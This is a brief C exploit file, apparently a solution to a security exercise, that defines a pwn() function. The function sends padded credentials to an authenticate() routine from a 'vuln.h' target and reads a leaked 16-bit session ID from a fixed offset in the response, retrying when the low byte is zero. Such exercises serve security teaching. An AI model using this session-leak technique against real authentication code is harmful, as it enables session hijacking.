#include "vuln.h"

#include <stdio.h>
#include <string.h>

static int try(uint16_t *session_id) {
  char resp[256];
  char req[256];

  {
    char *iter = req;

    memset(iter, 'U', 0x30);
    iter += 0x30;

    *(iter++) = ' ';

    memset(iter, 'P', 0x30);
    iter += 0x30;

    *(iter++) = 0;
  }

  int status = authenticate(req, resp);

  uint8_t *session_id_little_endian = (uint8_t *)(resp + 121);
  if (*session_id_little_endian != 0) {
    // Lower byte was non-zero, OK
    *session_id = (session_id_little_endian[1] << 8u) + session_id_little_endian[0];
    return 0;
  } else {
    // Lower byte was zero, need retry
    return -1;
  }
}

uint16_t pwn() {
  uint16_t sid = 0;
  if (!try(&sid)) {
    // Lower byte was non-zero, received both bytes
    return sid;
  } else {
    // Lower byte was zero, but now it is not, retry
    try(&sid);
    return sid;
  }
}
